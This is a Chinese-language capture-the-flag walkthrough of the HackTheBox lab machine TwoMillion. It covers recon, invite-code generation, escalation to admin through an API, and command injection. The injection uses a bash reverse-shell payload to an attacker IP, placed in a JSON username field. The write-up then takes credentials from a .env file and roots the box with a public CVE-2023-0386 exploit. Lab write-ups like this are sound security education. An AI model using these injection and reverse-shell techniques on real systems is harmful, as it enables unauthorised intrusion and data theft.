Machine - TwoMillion

https://app.hackthebox.com/machines/TwoMillion | Linux | Eas

Recon

➜  TwoMillion nmap -sT -min-rate 5000 10.10.11.221  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-20 20:22 CST
Nmap scan report for 10.10.11.221
Host is up (0.072s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.94 seconds

➜  TwoMillion nmap -sT -A -p 22,80 10.10.11.221   
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-20 20:23 CST
Nmap scan report for 10.10.11.221
Host is up (0.085s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   117.43 ms 10.10.16.1
2   71.72 ms  10.10.11.221

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.44 seconds
➜  TwoMillion ls

访问 HTTP 服务，采集指纹，是介绍 HackTheBox 网站

有一个登录页

注册需要拿到邀请码

通过目录扫描能扫描到另外一个注册页面，依旧是需要Invite Code

➜  TwoMillion dirsearch -u http://2million.htb -e txt,zip -x 403,404,503 
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: txt, zip | HTTP method: GET | Threads: 25 | Wordlist size: 9979

Output File: /root/Desktop/HackTheBox/TwoMillion/reports/http_2million.htb/_25-06-20_20-53-44.txt

Target: http://2million.htb/

[20:53:44] Starting: 
[20:53:53] 200 -    2KB - /404
[20:54:04] 401 -    0B  - /api
[20:54:04] 401 -    0B  - /api/v1
[20:54:05] 301 -  162B  - /assets  ->  http://2million.htb/assets/
[20:54:12] 301 -  162B  - /css  ->  http://2million.htb/css/
[20:54:18] 301 -  162B  - /fonts  ->  http://2million.htb/fonts/
[20:54:20] 302 -    0B  - /home  ->  /
[20:54:21] 301 -  162B  - /images  ->  http://2million.htb/images/
[20:54:23] 301 -  162B  - /js  ->  http://2million.htb/js/
[20:54:25] 200 -    4KB - /login
[20:54:26] 302 -    0B  - /logout  ->  /
[20:54:38] 200 -    4KB - /register
[20:54:52] 301 -  162B  - /views  ->  http://2million.htb/views/

Task Completed

GetInviteCode

我们仔细观察invite页面，会加载一个JS文件inviteapi.min.js ，是一个Packer一种JavaScript代码混淆器

eval(
  (function (p, a, c, k, e, d) {
    e = function (c) {
      return c.toString(36);
    };
    if (!''.replace(/^/, String)) {
      while (c--) {
        d[c.toString(a)] = k[c] || c.toString(a);
      }
      k = [
        function (e) {
          return d[e];
        },
      ];
      e = function () {
        return '\\w+';
      };
      c = 1;
    }
    while (c--) {
      if (k[c]) {
        p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
      }
    }
    return p;
  })(
    '1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',
    24,
    24,
    'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split(
      '|',
    ),
    0,
    {},
  ),
);

我们使用AI将其还原得到

function verifyInviteCode(code) {
  var formData = { "code": code };
  $.ajax({
    type: "POST",
    dataType: "json",
    data: formData,
    url: '/api/v1/invite/verify',
    success: function(response) {
      console.log(response);
    },
    error: function(response) {
      console.log(response);
    }
  });
}

function makeInviteCode() {
  $.ajax({
    type: "POST",
    dataType: "json",
    url: '/api/v1/invite/how/to/generate',
    success: function(response) {
      console.log(response);
    },
    error: function(response) {
      console.log(response);
    }
  });
}

其中的/api/v1/invite/how/to/generate很令人感兴趣

➜  TwoMillion curl http://2million.htb/api/v1/invite/how/to/generate -X POST
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}#

Data is encrypted ... We should probbably check the encryption type in order to decrypt it...

从dada能看到，加密类型是ROT13

"data":{
	"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr",
	"enctype":"ROT13"
}

通过CyberChef即可解密

In order to generate the invite code, make a POST request to \/api\/v1\/invite\/generate

让我们向/api/v1/invite/generate 发起POST请求

➜  TwoMillion curl http://2million.htb/api/v1/invite/generate  -X POST     
{"0":200,"success":1,"data":{"code":"NjlKS04tMkVHSTQtM1NIN0YtUjNLRFk=","format":"encoded"}}#

可以看到还是加密的，但是这次的加密就是简单的base64编码

得到邀请码 69JKN-2EGI4-3SH7F-R3KDY

我们通过邀请码注册用户 sunset

后台利用

我们从Rules中能知道是可以攻击其他成员的

并且在 http://2million.htb/home/access# 中能生成opvn文件（经过实验是无法进行连接的），端点是**/**api/v1/user/vpn/generate

我们可以注意到端点是**/**api/v1/user 那么可能会有**/**api/v1/admin

这里我使用feroxbuster 测试了很久，但是还是没有fuzz出来

但是这里其实只需要访问 /api/v1就可以得到接口路径信息…

{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

接口测试

三个管理员接口中，我们对/api/v1/admin/settings/update 最感兴趣

"admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }

因为它可能可以将普通用户更改为高权限用户

调试接口，我们修改 Content-Type: application/json 时提示缺少参数 email

添加 email 后缺少 is_admin ，继续跟着补全参数

设置 is_admin 为 1

测试是否修改成功，我们回到管理员接口中的/api/v1/admin/auth ，回显True

再获取管理员账户的VPN

通过命令也可以拿到

➜  TwoMillion curl http://2million.htb/api/v1/admin/vpn/generate -X POST -H 'Cookie: PHPSESSID=ldkjilnio1ali642q30g4cs1p4' -H 'Content-Type: application/json' -d '{"username":"admin"}' -o admin.opvn
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 10844    0 10824  100    20  19492     36 --:--:-- --:--:-- --:--:-- 19538

但是经过测试，管理员的opvn文件也是无法使用的

测试后发现存在命令注入漏洞

我们通过来反弹shell

POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Cookie: PHPSESSID=ldkjilnio1ali642q30g4cs1p4
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Priority: u=0, i
DNT: 1
Referer: http://2million.htb/home/access
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json

{
    "username":"$(whoami;/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.58/1234 0>&1')"
}

权限提升

Recon In www-data

插件监听端口，在内网中发布了mysql和Memcached

www-data@2million:~/html$ ss -tulpn
Netid   State    Recv-Q   Send-Q     Local Address:Port      Peer Address:Port  Process
udp     UNCONN   0        0          127.0.0.53%lo:53             0.0.0.0:*
udp     UNCONN   0        0                0.0.0.0:68             0.0.0.0:*
tcp     LISTEN   0        80             127.0.0.1:3306           0.0.0.0:*
tcp     LISTEN   0        1024           127.0.0.1:11211          0.0.0.0:*
tcp     LISTEN   0        511              0.0.0.0:80             0.0.0.0:*      users:(("nginx",pid=1198,fd=6))
tcp     LISTEN   0        4096       127.0.0.53%lo:53             0.0.0.0:*
tcp     LISTEN   0        128              0.0.0.0:22             0.0.0.0:*
tcp     LISTEN   0        511                 [::]:80                [::]:*      users:(("nginx",pid=1198,fd=7))
tcp     LISTEN   0        128                 [::]:22                [::]:*

获取 Memcached 中的数据，命令网上查即可

stats items               
STAT items:1:number 1   
STAT items:1:number_hot 0       
....
STAT items:4:evicted_unfetched 0
STAT items:4:evicted_active 0

stats cachedump 1 100
ITEM foo [3 b; 0 s]
END
stats cachedump 4 100
ITEM memc.sess.key.ldkjilnio1ali642q30g4cs1p4 [56 b; 1750433152 s]
END

get foo
VALUE foo 0 3
bar
END

get memc.sess.key.ldkjilnio1ali642q30g4cs1p4
VALUE memc.sess.key.ldkjilnio1ali642q30g4cs1p4 0 56
loggedin|b:1;id|i:13;username|s:6:"sunset";is_admin|i:1;
END

但是得到信息貌似并没有什么用

在当前目录下的.env 中能找到 admin 用户的凭据

www-data@2million:~/html$ cat .env 
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

成功登录进去

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

You have mail.
Last login: Tue Jun  6 12:43:11 2023 from 10.10.14.6
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@2million:~$

读取 user.txt

admin@2million:~$ cat user.txt 
e3c66af3c3a55bxxxxxxx

Recon In admin

我们从banner信息中能看到admin用户有一封邮件

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

***You have mail.***
Last login: Tue Jun  6 12:43:11 2023 from 10.10.14.6
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@2million:~$

admin@2million:/var/mail$ cat admin 
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

嗨，管理员，我知道你正在尽快完成数据库迁移。趁着我们部分服务器宕机，能不能也升级一下我们虚拟主机的操作系统？今年已经出现了几个严重的 Linux 内核 CVE 漏洞。OverlayFS/FUSE 的那个漏洞看起来很糟糕。我们不能被它给坑了。

CVE-2023-0386

直接明牌了

利用链接：https://github.com/xkaneiki/CVE-2023-0386

跟着Readme敲就行

读取 root.txt

root@2million:/root# cat root.txt 
c7bea054524b8584598731e5cb0441bb

总结 & 小彩蛋

不难，但是步骤多，在前期需要进行很多枚举

root目录下thank_you.json 是一串加密后的数据

root@2million:/root# cat thank_you.json 
{"encoding": "url", "data": "%7B%22encoding%22:%20%22hex%22,%20%22data%22:%20%227b22656e6372797074696f6e223a2022786f72222c2022656e6372707974696f6e5f6b6579223a20224861636b546865426f78222c2022656e636f64696e67223a2022626173653634222c202264617461223a20224441514347585167424345454c43414549515173534359744168553944776f664c5552765344676461414152446e51634454414746435145423073674230556a4152596e464130494d556745596749584a51514e487a7364466d494345535145454238374267426942685a6f4468595a6441494b4e7830574c526844487a73504144594848547050517a7739484131694268556c424130594d5567504c525a594b513848537a4d614244594744443046426b6430487742694442306b4241455a4e527741596873514c554543434477424144514b4653305046307337446b557743686b7243516f464d306858596749524a41304b424470494679634347546f4b41676b344455553348423036456b4a4c4141414d4d5538524a674952446a41424279344b574334454168393048776f334178786f44777766644141454e4170594b67514742585159436a456345536f4e426b736a41524571414130385151594b4e774246497745636141515644695952525330424857674f42557374427842735a58494f457777476442774e4a30384f4c524d61537a594e4169734246694550424564304941516842437767424345454c45674e497878594b6751474258514b45437344444767554577513653424571436c6771424138434d5135464e67635a50454549425473664353634c4879314245414d31476777734346526f416777484f416b484c52305a5041674d425868494243774c574341414451386e52516f73547830774551595a5051304c495170594b524d47537a49644379594f4653305046776f345342457454776774457841454f676b4a596734574c4545544754734f414445634553635041676430447863744741776754304d2f4f7738414e6763644f6b31444844464944534d5a48576748444267674452636e4331677044304d4f4f68344d4d4141574a51514e48335166445363644857674944515537486751324268636d515263444a6745544a7878594b5138485379634444433444433267414551353041416f734368786d5153594b4e7742464951635a4a41304742544d4e525345414654674e4268387844456c6943686b7243554d474e51734e4b7745646141494d425355644144414b48475242416755775341413043676f78515241415051514a59674d644b524d4e446a424944534d635743734f4452386d4151633347783073515263456442774e4a3038624a773050446a63634444514b57434550467734344241776c4368597242454d6650416b5259676b4e4c51305153794141444446504469454445516f36484555684142556c464130434942464c534755734a304547436a634152534d42484767454651346d45555576436855714242464c4f7735464e67636461436b434344383844536374467a424241415135425241734267777854554d6650416b4c4b5538424a785244445473615253414b4553594751777030474151774731676e42304d6650414557596759574b784d47447a304b435364504569635545515578455574694e68633945304d494f7759524d4159615052554b42446f6252536f4f4469314245414d314741416d5477776742454d644d526f6359676b5a4b684d4b4348514841324941445470424577633148414d744852566f414130506441454c4d5238524f67514853794562525459415743734f445238394268416a4178517851516f464f676354497873646141414e4433514e4579304444693150517a777853415177436c67684441344f4f6873414c685a594f424d4d486a424943695250447941414630736a4455557144673474515149494e7763494d674d524f776b47443351634369554b44434145455564304351736d547738745151594b4d7730584c685a594b513858416a634246534d62485767564377353043776f334151776b424241596441554d4c676f4c5041344e44696449484363625744774f51776737425142735a5849414242454f637874464e67425950416b47537a6f4e48545a504779414145783878476b6c694742417445775a4c497731464e5159554a45454142446f6344437761485767564445736b485259715477776742454d4a4f78304c4a67344b49515151537a734f525345574769305445413433485263724777466b51516f464a78674d4d41705950416b47537a6f4e48545a504879305042686b31484177744156676e42304d4f4941414d4951345561416b434344384e467a464457436b50423073334767416a4778316f41454d634f786f4a4a6b385049415152446e514443793059464330464241353041525a69446873724242415950516f4a4a30384d4a304543427a6847623067344554774a517738784452556e4841786f4268454b494145524e7773645a477470507a774e52516f4f47794d3143773457427831694f78307044413d3d227d%22%7D"}

可以通过这个步骤来揭秘

Dear HackTheBox Community,

We are thrilled to announce a momentous milestone in our journey together. With immense joy and gratitude, we celebrate the achievement of reaching 2 million remarkable users! This incredible feat would not have been possible without each and every one of you.

From the very beginning, HackTheBox has been built upon the belief that knowledge sharing, collaboration, and hands-on experience are fundamental to personal and professional growth. Together, we have fostered an environment where innovation thrives and skills are honed. Each challenge completed, each machine conquered, and every skill learned has contributed to the collective intelligence that fuels this vibrant community.

To each and every member of the HackTheBox community, thank you for being a part of this incredible journey. Your contributions have shaped the very fabric of our platform and inspired us to continually innovate and evolve. We are immensely proud of what we have accomplished together, and we eagerly anticipate the countless milestones yet to come.

Here's to the next chapter, where we will continue to push the boundaries of cybersecurity, inspire the next generation of ethical hackers, and create a world where knowledge is accessible to all.

With deepest gratitude,

The HackTheBox Team

HackTheBox - Machine - TwoMillion